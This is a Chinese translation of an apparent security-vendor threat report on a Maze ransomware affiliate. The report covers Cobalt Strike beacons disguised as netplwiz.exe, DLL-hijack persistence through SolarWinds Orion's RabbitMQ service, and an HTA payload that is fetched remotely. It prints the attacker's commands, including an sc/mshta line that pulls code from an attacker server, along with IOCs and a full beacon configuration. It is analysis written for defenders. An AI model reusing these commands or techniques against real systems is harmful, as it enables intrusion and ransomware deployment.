原文链接:https://labs.sentinelone.com/
译者:知道创宇404实验室翻译组
摘要
- Maze勒索软件是目前在野外使用最广泛的勒索软件之一,由具有能力的参与者进行分发。
- 我们发现了一个Maze分支机构,在交付勒索软件之前部署了量身定制的持久性方法。
- 行动者似乎使用了被盗的证书在其信标上签名。
- 与其他攻击一样,行动者使用HTA有效载荷作为交互式外壳,能够捕获到实时的和去模糊化的内容。
背景
Maze勒索软件在过去的大约一年时间里被广泛使用,成为全世界许多不同参与者的最终有效载荷。今年,臭名昭著的Maze运营商不仅开始通过加密文件勒索公司,而且威胁会在线发布被窃取的文件,从而勒索公司。最近,我们抓住了一个Maze会员,该会员尝试通过借由我们客户的网络进行传播。
在这篇文章中,我们分享有关该Maze会员使用方法的详细信息,以阐明他们的策略并帮助安全团队在自己的网络中寻找类似的IOC。
攻击入口点
如先前在其他Maze事件中所报告的那样,攻击者可能通过强制使用管理员的密码,使用RDP来访问面向Internet的计算机。对美国公司的攻击之一始于7月4日(星期六),选择这个日期显然是猜测许多人(尤其是安全人员)那天可能不在工作。
攻击者使用RDP连接并上传了自己信标的有效载荷,并伪装成名为netplwiz.exe
的已知Microsoft二进制文件。它们的有效载荷与具有相同名称的真正二进制文件具有相同的图标和描述,并且也进行了签名,很可能带有被盗的证书。
Sysinternals的sigcheck.exe
对原netplwiz.exe
:
c:\windows\system32\Netplwiz.exe: Verified: Signed Signing date: 10:29 AM 6/6/2020 Publisher: Microsoft Windows Company: Microsoft Corporation Description: Advanced User Accounts Control Panel Product: Microsoft? Windows? Operating System Prod version: 10.0.18362.1 File version: 10.0.18362.1 (WinBuild.160101.0800)
在恶意的netplwiz.exe中,我们可以看到被盗的证书:
c:\windows\system32\Netplwiz.exe: Verified: Signed Signing date: 10:29 AM 6/6/2020 Publisher: Microsoft Windows Company: Microsoft Corporation Description: Advanced User Accounts Control Panel Product: Microsoft? Windows? Operating System Prod version: 10.0.18362.1 File version: 10.0.18362.1 (WinBuild.160101.0800)
仔细查看证书:
该可执行文件是一个简单的打包程序,可加载Cobalt Strike信标的版本4。该打包程序非常简单,并执行以下操作:
- 隐藏他们的窗口
- 使用isDebuggerPresent检查调试器
- 解码XOR的无级 信标(注意–使用VirtualAllocExNuma而不是更常用的VirtualAlloc / Ex进行内存分配)
- 执行信标
解码功能如下所示:
我们从内存中转储信标并解析其配置:
量身定制的持久性机制
尽管进入方法相当普遍,但攻击者在其持久性方法上显示出了极大的创造力,这些持久性方法是针对发现自己的机器量身定制的。
例如,一台主机正在运行SolarWinds Orion实例。该Orion产品使用RabbitMQ作为内部消息传递组件,并随产品一起安装。RabbitMQ用Erlang编写,因此使用Erlang运行时服务(erlsrv.exe
)运行。
攻击者依靠此依赖关系链在erlsrv.exe
进程中生成自身并在主机上获得持久性,因为RabbitMQ服务正在运行erlsrv.exe
。
当攻击者将包含其 信标暂存器的两个DLL放到磁盘上,然后开始干扰RabbitMQ服务时,我们可以看到此情况:
tasklist /SVC sc qc RabbitMQ Uploaded: C:\Program Files (x86)\SolarWinds\Orion\Erlang\erts-7.1\bin\acluapi.dll? Uploaded: C:\Program Files (x86)\SolarWinds\Orion\Erlang\erts-7.1\bin\version.dll sc stop RabbitMQ sc start RabbitMQ
被劫持的DLL是version.dll,通常是从system32文件夹加载的。通过将其放入与erlsrv.exe
相同的文件夹中,它加载了他们的version.dll
,并且加载了包含信标的acluapi.dll
。
重新启动RabbitMQ服务后,钴击信标开始与netplwiz中的域通信,但这次是从erlsrv.exe
和SYSTEM完整性级别进行通信。
在另一种情况下,它显示出对本地环境的类似适应性,攻击者将Java Updater定位为在计算机启动时运行,并删除了jusched.exe
在启动时加载的DLL 。
安装持久性后,攻击者进行了一些域侦查,并将ngrok上传到C:\ Windows \ dwm.exe
并将其用于隧道。
他们还运行了:
sc config UI0Detect start= disabled
顾名思义,UI0Detect 会检测会话0中的程序尝试与桌面进行交互并向用户发出警报。对于他们来说,禁用此服务很重要,以避免在以SYSTEM身份运行时意外弹出消息框或启动GUI应用程序时提醒用户。
HTA有效负载
当他们找到一台服务器想要横向移动时,使用了sc.exe
并部署了一个工具,该工具为目标服务器提供了一个在线shell。
具体来说,他们运行了以下命令(IP更改):
sc \\ 192.168.90.90 config MiExchange binPath = “” c:\ windows \ system32 \ cmd.exe / c start mshta http://crt.officecloud [.] top / st“
他们使用mshta运行托管在其站点上的HTA有效负载。我们认为HTA是他们在远程计算机上联机工作的方式,如果他们认为值得的话,可以在部署其Cobalt Strike 信标之前在远程计算机上进行在线工作。
HTA有效负载是一种有些复杂且自动混淆的代码,我们认为它是自制的(因为我们没有找到它在线的证据)。
您可以在此处查看混淆和我们混淆后的版本。
在运行时,它首先发送计算机的一些基本信息,例如操作系统版本、路由信息、域控制器名称(如果计算机是域的成员)等等:
有效负载包含一个首次运行时为空的变量。在这种情况下,它使用mshta.exe
从服务器运行另一个HTA ,它与自身完全相同,只是变量现在包含值“ prfx”而不是为空。
因此,它进入了从服务器运行HTA的循环。
简化的代码如下所示:
try { if (mainFuncStruct.emptyIfFirstRun != "prfx") { try { mainFuncStruct.funcStruct6.runMshtaFromCNC(""); } catch (e) { mainFuncStruct.funcStruct6.sendErrorDataToCNC(e) } mainFuncStruct.killSelf(); } else { if (mainFuncStruct.isRunningInMshta()) LimitedRunLoop(); else InfiniteRunLoop(); } } catch (e) { mainFuncStruct.funcStruct6.sendErrorDataToCNC(e); }
有效负载很有趣,因为它具有一些独特的行为:
- 它既可以作为JScript文件也可以作为HTA文件运行
- 不从服务器接收简单的
cmd.exe
命令,而仅从HTA(可以自己运行cmd.exe
)接收命令 - 每次从服务器请求时都会自动对其进行模糊处理
从狩猎角度来看,还值得注意的是,它直接运行net1.exe
而不是net.exe
,可能是在逃避基于EDR和基于命令行的检测方法。
结论
以上所有这些说明他们都是非常有能力的攻击者。尽管他们使用了大多数已知的方法,但也显示出一定的创造力,可以成功切轻松地破坏目标,快速地横向移动目标。但是,在未造成任何伤害之前,它们仍被SentinelOne代理捕获并缓解。
由于他们的HTA服务服务器仍处于在线状态,并且该活动仍在进行,因此我们建议安全团队检查其EDR数据或SIEM中是否存在以下IOC,并迅速缓解发现的任何IOC,以防止部署勒索软件。
IOCs
HTA有效负载服务器
crt.officecloud[.]top
crt.globalsign[.]icu
mhennigan.safedatasystems[.]com
CS信标服务器
ocspverisign [.] pw
使用的其他工具
ngrok.exe
证书签名者:“ Clubessential, LLC.”
完整的信标配置
BeaconType - HTTPS Port - 443 SleepTime - 61107 MaxGetSize - 1048580 Jitter - 13 MaxDNS - 245 C2Server - pkcs.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC crl.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC pfx.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD2BOyl2B0LhPg9JxyQm UserAgent - Microsoft-CryptoAPI/10.0 HttpPostUri - /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSLIycRsoI3J6zPns4K1aQgAqaqHgQUZ HttpGet_Metadata - Cookie: cdn=ocsp; Cookie HttpPost_Metadata - Content-Type: application/ocsp-request Cookie: cdn=ocsp; u DNS_Idle - 8.8.8.8 DNS_Sleep - 0 HttpGet_Verb - GET HttpPost_Verb - POST HttpPostChunk - 0 Spawnto_x86 - %windir%\syswow64\werfault.exe Spawnto_x64 - %windir%\sysnative\wuauclt.exe CryptoScheme - 0 Proxy_Behavior - Use IE settings Watermark - 305419896 bStageCleanup - False bCFGCaution - False KillDate - 0 bProcInject_StartRWX - True bProcInject_UseRWX - False bProcInject_MinAllocSize - 21036 ProcInject_PrependAppend_x86 - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' Empty ProcInject_PrependAppend_x64 - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' Empty ProcInject_Execute - ntdll.dll:RtlUserThreadStart SetThreadContext RtlCreateUserThread ProcInject_AllocationMethod - VirtualAllocEx bUsesCookies - True
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1294/